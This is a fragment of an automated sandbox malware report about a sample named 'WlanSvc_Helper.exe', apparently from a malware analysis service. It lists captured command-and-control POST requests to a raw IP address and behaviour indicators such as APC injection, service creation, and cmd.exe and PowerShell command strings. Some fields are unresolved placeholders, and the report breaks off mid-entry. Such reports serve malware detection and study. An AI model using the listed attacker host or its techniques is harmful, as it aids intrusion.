"01000000D08C9DDF0115D1118C7A00C04FC297EB010000005C8C592F68F2F2428F561A9640984ACD0400000002000000000010660000000100002000000063C4FDFDCA1128E255089FFFF91E22DD714D65BC4071919685C6E15310F0DB37000000000E800000000200002000000071982FBB0AC2629ACCB35868FFE780308D60B236D5AD0E536DB4DAFABEC6D7238000000002F4DADACD48039DF1A6B67B4BE4F1FB9F8B56E85423E8DFD64F57675AB2DF58B01C589DAD559F7E2B64236CDD36B8C24E1D270B0C32789940A9C4EE6112EB096864198DAA8062709889FD9160C10DA46E3852D2A8D4BDCBB403D25E926DDC0AEAB613A5DDEC9B4F2768AFADF3D5667AAB2CB79FB7115B162F61BEE85F7BA7374000000027879ABD5A8365E14643FB0C6DDA66F3EB9D4A9871CDC3FB33EF69613DDFF00220E9D720DE73CA886C1A0BB2EDCC8AD87A5B83CA99D0FCE4D8C854023EFA05C218D43F8CE29B7F9BFE542C396416590E6A7E2B697328637C4FF2A4F1D880FFF100")65:T1310,"POST /api/v3/gate HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 301 Host: 167.86.74.11" with payload::==> "WyúÚéå"Ås¥¬M~FXbÆqmÖ¤DrØåKîpkål¬$°o4GtÑ¨CD¶<êÒûë½É³¥«¿]j=cdHºÑì)·ÿNðQµxºó¢ëÇ¤Mg÷ØÚÔÍÅ)çúÞ&7 3í°ÐÅ.lÞÛ5[½úÓQ®WÁeòÄ-Çúw; ÐãUú>ªIquúõh]=àÌ"fÛ-ÞbîGÜ>* oáH¡©¬Rw1KËåU³r ¯Ô®½caæ-]}@áiçH{¼m?b%N6VeAÂ^h/ÍµcDBlR=Ä 0@¤" HTTP/1.1 400 Bad Request Server: nginx/1.29.4 Date: Wed 11 Nov 2026 11:43:20 GMT Content-Length: 0 Connection: keep-alive with no response body "POST /api/v3/gate HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 301 Host: 167.86.74.11" with payload::==> "}å¼{(ÕIÕºÏ3)ä·.~f+T-è>4¤H<ÕÞòàçYôù§L°¡]öõ6Y¿íÔ6e«C$³5;6DqtüEÌç Q$'E(e.AÅÓ±¿RÚ±·è&XV¹±{¯ÙCÅr"bf»Ià UuÁ®Ëµm`é+LØÇJÇ´í:MêõÅ_msBÃhÉ¨Ào'³qWí]¥+ÙäÅß¹@/z}ÔC³îpÃ»ÕèÓ/äåÕ®b½`¼·cJ¸CãÑ£2:d3^Tj¤_od+ÎVã8\»Þ4O8äìÇQøõlÏnMéJ¹ÕV>'ð(àðYR xZµî+" HTTP/1.1 400 Bad Request Server: nginx/1.29.4 Date: Wed, 11 Nov 2026 11:43:22 GMT Content-Length: 0 Connection: keep-alive with no response body, "POST /api/v3/gate HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 301 Host: 167.86.74.11" with payload::==> "OÝ"¢ìøÍÞð|ËÒÿI§$DÆ»°_ÖýCe»"Ü×$Ën&_0.R`j³ÙÑ¶gÏ}×WµQIJöýÖ4ýí ÛSÕ½Í|¾ ØEÅÍ¬0C´G%/}z_{¶h-Öùi«8ÏÔFDd¨k1ñ7À¿FFUp!R·x%mÞ[@½3ÈSXUÉy`Ü¼½¢Håêeß¦9Ëo6`ÃÄ1ÌWë8ÍwB¸Ì[ÜAV5´=Gãöêµ/`Õ¬»S±%WÊ4îóëÿÿ{s)ñ;ÄNÉâ&7ÜÊÈ.X|)RRÝýÔ_eªF§|íh`}$ BrmJÆ²h" HTTP/1.1 400 Bad Request Server: nginx/1.29.4 Date: Wed, 11 Nov 2026 11:43:22 GMT Content-Length: 0 Connection: keep-alive with no response body, "POST /api/v3/gate HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 301 Host: 167.86.74.11" with payload::==> "Bïz Õ(¡pqu³Gi+¾JP"ÙÔðìÈþ:n¡ºØÎþ¢tÆE¯»õ©S3:ÖñÔ:F2$ª¤u^þ«ÝñÄ1b#¥ËºNÄÄÔ]üÆElB¬ëCä¸=+o÷å.?Ð¼õø-#¡q87¿ü5ïùXMRÄ±^ÕÁÌ9i®XOZÈvI÷àÖÉs']g"Íâ^A(zÈ0¡?4àçæµi{|² ©ñ¸û~ï@>>áß3Õ&¯½BDð¦4.F¬HÐ^r¯O%ïù!"ó¢X6D×í¿Ý@ºÀá7E(íCiXq×[;l:ªÃ¸ÄÅ±" HTTP/1.1 400 Bad Request Server: nginx/1.29.4 Date: Wed, 11 Nov 2026 11:43:23 GMT Content-Length: 0 Connection: keep-alive with no response body, "POST /api/v3/gate HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 301 Host: 167.86.74.11" with payload::==> "ãþ·rSùÀ2Y#±úµçñ9Åa·t»sÍä»(Ûz2#u±i63¢VuÀ·Lg,üíâKSuáhÌÐÌÍ`_ëbß\w9ó¡z]ôK©§u¹ôÇ¾EÇTuùzìPoJ$ß?=§g;="ÅÜßjnÐ_Á{{ßû×k~ßnÄ±$ç\Tñ#Ó/2CEûýôùbtDi»3ÖmüCblæ´LéÖÉa$ç DÄàþ1±Væ ¦ÖfÕgn!A-Ö)2ôR® »ù¤ú>0PÚã!ï¼ÐÙ&¥ÒWF¡«ÀPÉ-YÁ)>íÁnnc>`³¨÷Ö[.P&H¥l" HTTP/1.1 400 Bad Request Server: nginx/1.29.4 Date: Wed, 11 Nov 2026 11:43:24 GMT Content-Length: 0 Connection: keep-alive with no response body, "POST /api/v3/gate HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 301 Host: 167.86.74.11" with payload::==> "Ûéfä\ºS+º×N¹4~ "`4fn2ÌSª.X| +"GèÛ)#w¬}gûlÈxRUYÇÙF}ð|òÄ³ÐÛ¸Ïa"ç¦¥¤Ôü`ðª_£Z»õÐ*UißÅ(>6ãÜÝaÇlªº@Iî#2ñ&¼´õï¨º"ñÙ&ÏJÌÃÏ)hL°û¨øKÝá*%¾û@Ç|¦tÃ·jßdtG¥*Ånff5ÛßñlOÀ² uIDHd@lôÊ*2#¾\z¸,B2Ò»=òò·É4Àá)*©H¥.üSD.Ñp"?I8·ænul &\" (Indicator: \"cmd.exe /c\"; File: \"WlanSvc_Helper.exe\"), Found string \"cmd.exe /c \"chcp 65001 >nul &\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExA\" (Indicator: \"MoveFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"[Update] MoveFileExW failed to replace target binary. Error:\" (Indicator: \"MoveFile\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"[Update] MoveFileExW failed to replace target binary. Error:\" (Indicator: \"MoveFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"MoveFileExA\" (Indicator: \"MoveFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileW in import section (Source: WlanSvc_Helper.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process WlanSvc_Helper.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6464:304:WilStaging_02\"\n Process WlanSvc_Helper.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6464:120:WilError_03\"\n Process WlanSvc_Helper.exe created mutex with name \"SM0:6464:304:WilStaging_02\"\n Process WlanSvc_Helper.exe created mutex with name \"Local\\SM0:6464:304:WilStaging_02\"\n Process WlanSvc_Helper.exe created mutex with name \"SM0:6464:120:WilError_03\"\n Process WlanSvc_Helper.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6464:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"WlanSvc_Helper.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$4f","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"https://api.github.com/repos/\" (Indicator: \"github.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$50","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$51","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WlanSvc_Helper.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at D8E90000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WlanSvc_Helper.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E7E40000\n \"WlanSvc_Helper.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E7E70000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WlanSvc_Helper.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E9410000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000060a33be8ff7f0000@ntdll.dll\"\n \"220023000000000038a33be8ff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"WlanSvc_Helper.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"WlanSvc_Helper.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"Found string \"powershell -NoProfile -NonInteractive -Command \"Compress-Archive -Path '\" (Indicator: \"Compress-Archive\"; File: \"WlanSvc_Helper.exe\"), Found string \"powershell -NoProfile -NonInteractive -Command \"Compress-Archive -Path '\" (Indicator: \"Compress-Archive\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"WlanSvc_Helper.exe\" touched \"WBEM Locator\" (Path: \"HKCU\\CLSID\\{4590F811-1D3A-11D0-891F-00AA004B2E24}\")\n \"WlanSvc_Helper.exe\" touched \"Windows Management and Instrumentation\" (Path: \"HKCU\\CLSID\\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\\TREATAS\")\n \"WlanSvc_Helper.exe\" touched \"PSFactoryBuffer\" (Path: \"HKCU\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24}\\TREATAS\")\n \"WlanSvc_Helper.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IWbemServices\" (Path: \"HKCU\\CLSID\\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\\TREATAS\")\n \"WlanSvc_Helper.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject\" (Path: \"HKCU\\CLSID\\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"WlanSvc_Helper.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"WlanSvc_Helper.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"WlanSvc_Helper.exe\" has an writable section named \".data\"\n \"WlanSvc_Helper.exe\" has an writable section named \".fptable\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"WlanSvc_Helper.exe\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x14013b440,add\trsp, 0x28,jmp\t0x14013ac10,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbx,push\trbp,push\trsi,push\trdi,push\tr14,sub\trsp, 0x20,mov\trbx, qword ptr [r9 + 0x38],mov\trsi, rdx,mov\tr14, r8,mov\trbp, rcx,mov\trdx, r9,mov\trcx, rsi,mov\trdi, r9,lea\tr8, [rbx + 4],call\t0x14013ae40,test\tbyte ptr [rbp + 4], 0x66,mov\teax, 0,setne\tal,inc\teax,test\tdword ptr [rbx + 4], eax,je\t0x14013ae08,mov\tr9, rdi,mov\tr8, r14,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x197a00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x19782c\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"WlanSvc_Helper.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"cloudflare-dns.com\"\n \"crls.ssl.com\"\n \"dns.quad9.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WlanSvc_Helper.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WlanSvc_Helper.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WlanSvc_Helper.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"WlanSvc_Helper.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=SSL.com SSL Intermediate CA ECC R2, O=SSL Corp, L=Houston, ST=Texas, C=US\" (SHA1: F8:86:35:01:72:60:D4:0B:9E:B4:17:BE:E7:37:37:91:1B:63:0E:59; see report for more information)\n The input sample is signed with a certificate issued by \"CN=SSL.com Root Certification Authority ECC, O=SSL Corporation, L=Houston, ST=Texas, C=US\" (SHA1: 92:19:61:2E:90:1C:49:04:F9:83:5E:E8:C2:AD:D5:4F:F0:B7:97:FD; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"CreateServiceW\" (Indicator: \"CreateService\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"RegisterServiceCtrlHandlerW\" (Indicator: \"RegisterServiceCtrlHandler\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"[RESTORE] CreateService failed err=\" (Indicator: \"CreateService\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"[RESTORE] CreateService failed err=\" (Indicator: \"CreateService\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"CreateServiceW\" (Indicator: \"CreateService\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")\n Found reference to API \"RegisterServiceCtrlHandlerW\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"WlanSvc_Helper.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006464.00000000.134867.41C39000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WlanSvc_Helper.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"FA933EF1C576B07DCF47ADB21ED04D70\" has type \"data\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\FA933EF1C576B07DCF47ADB21ED04D70]- [targetUID: 00000000-00006464]\n \"FA933EF1C576B07DCF47ADB21ED04D70\" has type \"data\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\FA933EF1C576B07DCF47ADB21ED04D70]- [targetUID: 00000000-00006464]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"\"WlanSvc_Helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"\"; Value: \"\")\n \"WlanSvc_Helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\"; Key: \"\"; Value: \"\")\n \"WlanSvc_Helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TIME ZONES\\PACIFIC STANDARD TIME\\DYNAMIC DST\"; Key: \"\"; Value: \"\")\n \"WlanSvc_Helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\POLICYEXTENSIONS\"; Key: \"\"; Value: \"\")\n \"WlanSvc_Helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\POLICYEXTENSIONS\\TENANTRESTRICTIONSPLUGIN.DLL\"; Key: \"\"; Value: \"\")\n \"WlanSvc_Helper.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WlanSvc_Helper.exe\" queries basic process information of the \"C:\\WlanSvc_Helper.exe\" (UID: 6464)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$52","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"WlanSvc_Helper.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006464)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WlanSvc_Helper.exe\" reads file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\fa933ef1c576b07dcf47adb21ed04d70\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$53","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$54","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$55","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"WlanSvc_Helper.exe\" trying to access non-existent file \"C:\\WlanSvc_Helper.exe.old\"\n \"WlanSvc_Helper.exe\" trying to access non-existent file \"\\Device\\NamedPipe\\mw7MTaWz6HSH\"\n \"WlanSvc_Helper.exe\" trying to access non-existent file \"pipe\\mw7MTaWz6HSH\"\n \"WlanSvc_Helper.exe\" trying to access non-existent file \"\\Device\\NamedPipe\\qzNzcuQTbeQe\"\n \"WlanSvc_Helper.exe\" trying to access non-existent file \"pipe\\qzNzcuQTbeQe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6af454ad3a7aad52ad0512d9"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"WlanSvc_Helper.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\fa933ef1c576b07dcf47adb21ed04d70\"\n \"WlanSvc_Helper.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fa933ef1c576b07dcf47adb21ed04d70\"\n \"WlanSvc_Helper.exe\" writes file \"%localappdata%\\ow\\microsoft\\cryptneturlcache\\content\\fa933ef1c576b07dcf47adb21ed04d70\"\n \"WlanSvc_Helper.exe\" writes file \"%localappdata%\\ow\\microsoft\\cryptneturlcache\\metadata\\fa933ef1c576b07dcf47adb21ed04d70\"","origin":"API 